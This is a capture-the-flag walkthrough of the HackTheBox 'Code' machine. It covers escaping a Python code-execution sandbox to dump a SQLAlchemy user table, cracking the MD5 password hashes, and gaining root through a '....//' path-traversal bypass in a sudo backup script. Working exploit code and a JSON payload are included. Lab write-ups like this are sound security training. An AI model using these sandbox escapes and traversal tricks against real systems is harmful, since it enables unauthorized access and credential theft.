Code
Source: HackTheBox Difficulty: Easy OS: Linux
Enumeration & Reconnaissance
Started with the usual
autorecon
, which revealed two open ports:SSH (22)
HTTP (5000)
Service Analysis
Browsing the HTTP service on port 5000, I found a Python code execution platform. Cool, right? You could register, log in, run code, and save scripts. But of course, it wasn’t that simple. The platform blocked keywords like
import
,os
,execute
,open
, and others. Any attempt to use these triggered a sassy "Use of restricted keywords is not allowed."


This ruled out:
Reverse shells via Python.
Reading sensitive files (
/etc/passwd
,/etc/shadow
).Writing SSH keys or executing OS commands.
After bashing my head against the keyword filter, I started looking for alternatives. I wanted to understand what we are dealing with. Since we can’t import anything, I wanted to know what we have, to know what we can do. After some research, I found:
print(sys.modules.keys())
This printed a list of loaded modules, including multiple
sqlalchemy
modules, hello, database.Next, I pretended to read documentation while secretly letting an AI agent cook up code for me. The goal: enumerate the database. After some trial and error:
metadata = db.MetaData()
metadata.reflect(bind=db.engine)
print(metadata.tables.keys())
# Or Just
print(db.Model.metadata.tables.keys())

This revealed two tables: user and code. Okay, now let's try to get the users. After going through the same process to reach working code:
metadata = db.MetaData()
metadata.reflect(bind=db.engine)
for table_name in ['user', 'code']:
table = metadata.tables[table_name]
query = db.session.query(table).select_from(table)
results = query.all()
print(f"\nData from table '{table_name}':")
for row in results:
print(row._asdict())
This worked and printed out the data.

Data from table user:
{'id': 1, 'username': 'development', 'password': '759b74ce43947f5f4c91aeddc3e5bad3'}
{'id': 2, 'username': 'martin', 'password': '3de6f30c4a09c27fc71932bfc68474be'}
Data from table code:
{'id': 1, 'user_id': 1, 'code': 'print("Functionality test")', 'name': 'Test'}
Gaining Initial Access
We have 2 users, martin and development. The passwords were stored as MD5 hashes and were easily cracked:
development: 759b74ce43947f5f4c91aeddc3e5bad3 (development)
martin: 3de6f30c4a09c27fc71932bfc68474be (nafeelswordsmaster)

I thought we had to log in as these users and that we might find juicy information in their saved codes, but we had already enumerated the data from the code table, and nothing was there. Let's try SSH. I tried with martin and we were in already.
I searched for the local flag in martin’s home, but I couldn’t find it, so I focused on getting root first, as I usually do anyway. Get root and the flags can be retrieved later.
Privilege Escalation
I ran
sudo -l
and found that we can run a specific script:/usr/bin/backy.sh
as sudo without a password. I checked, but the file wasn’t writeable, we can read it though.This is the code found (with explanatory comments added):
#!/bin/bash
# Check if exactly one argument is provided.
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
# Save the first argument as the JSON file to process.
json_file="$1"
# Verify that the specified JSON file exists.
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
# Define an array of allowed base directory paths.
allowed_paths=("/var/" "/home/")
# Sanitize the JSON: remove any "../" in the 'directories_to_archive' array.
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
# Overwrite the original JSON file with the sanitized JSON content.
/usr/bin/echo "$updated_json" > "$json_file"
# Extract each directory from the sanitized JSON array as raw strings.
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
# Function to check if a given directory path starts with one of the allowed paths.
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
# If the path starts with an allowed base path, return success (0).
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
# If no allowed path is found, return failure (1).
return 1
}
# Loop through each directory from the JSON file.
for dir in $directories_to_archive; do
# If the directory is not under an allowed path, print an error and exit.
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done

So, we can get a "backup" zip archive of any directory we want, but it has to be under
/var/
or/home/
, and they aren’t allowing us to traverse directories as they remove../
from the path.However, their check is loose, we can add
....//
and it will work, as this will keep the initial..
, remove the next../
, and keep the last/
.I battled with the other players who were trying to root the machine, who for some reason kept removing my JSON file. By editing the JSON file to be:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/....//root/"
],
"exclude": [
]
}

It worked, and I got a zip archive with the content of the root directory (including the root flag) in
martin/backups/
after unzipping with:
tar -xf code_var_.._root_2025_March.tar.bz2
For the local flag, it was under
home/app-production/
, so I did the same just for app-production to get the local flag.
Lessons Learned
Check Loaded Modules: Even without
import
,sys.modules
can reveal attack surfaces.Database Enumeration: SQLAlchemy and Flask modules can be used to list database tables and extract data, even when access seems limited.
Privilege Escalation via Sudo: Always check for misconfigured sudo permissions; a seemingly simple script can lead to root if exploited correctly.
Loose Path Validation: When sanitization is not strict, creative bypasses (like using
....//
) can allow directory traversal, making it possible to extract sensitive archives.
Last updated